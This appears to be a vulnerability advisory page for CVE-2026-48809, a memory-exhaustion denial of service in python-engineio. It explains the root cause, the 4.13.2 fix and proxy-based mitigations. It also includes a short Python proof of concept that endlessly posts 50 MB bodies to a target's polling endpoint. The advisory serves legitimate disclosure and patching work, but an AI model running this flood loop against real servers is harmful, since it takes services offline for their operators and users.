CVE-2026-48809: python-engineio Unauthenticated Memory Exhaustion (DoS)
An unauthenticated attacker can crash or slow down a python-engineio server by sending oversized messages that bypass the configured payload size limit, causing unbounded memory allocation.
The problem
python-engineio enforces a configurable max_http_buffer_size (default 1 MB) to cap incoming message sizes. In two specific configurations this limit was never applied.
For ASGI servers using the long-polling transport, the full POST body was read into memory before the server verified the client session or checked the payload size. For aiohttp servers using the WebSocket transport, the max_http_buffer_size setting was never forwarded to aiohttp's underlying WebSocket layer, so aiohttp applied no cap at all.
In both cases any unauthenticated remote client could send arbitrarily large payloads that the server would absorb entirely into memory.
Proof of concept
A working proof-of-concept for CVE-2026-48809 in python-engineio, with the exact payload below.
# ASGI long-polling path: POST a body far larger than max_http_buffer_size
# before the server has a chance to check the client sid or size limit.
import httpx
import os
TARGET = "http://target:8000/socket.io/?EIO=4&transport=polling"
BIG_BODY = b"4" + os.urandom(50 * 1024 * 1024) # 50 MB Engine.IO text frame
while True:
httpx.post(TARGET, content=BIG_BODY, headers={"Content-Type": "text/plain"})Root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). In the ASGI driver, receive() was called to buffer the entire request body before any size check or session lookup ran, so the limit in _get_max_http_body_size was never reached for unauthenticated requests.
In the aiohttp WebSocket driver, ws_connect / prepare was called without passing max_msg_size, leaving aiohttp's own WebSocket parser uncapped.
The 4.13.2 patch reorders the ASGI handler to reject oversized or unknown-session requests before buffering the body, and passes max_msg_size=self.max_http_buffer_size to the aiohttp WebSocket response object so the transport layer itself enforces the cap. No public PoC script was published; the payload above is derived directly from the patch logic.
The fix
Upgrade python-engineio to 4.13.2 or later (pip install --upgrade python-engineio). No configuration changes are required: the fix is entirely in the library. If an immediate upgrade is not possible, place a reverse proxy (nginx, Caddy) in front of the application and set a strict client_max_body_size for HTTP and a per-message WebSocket frame size limit.
Related research
- high · 7.5CVE-2026-59939CVE-2026-59939: httplib2 Decompression Bomb Denial of Service
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing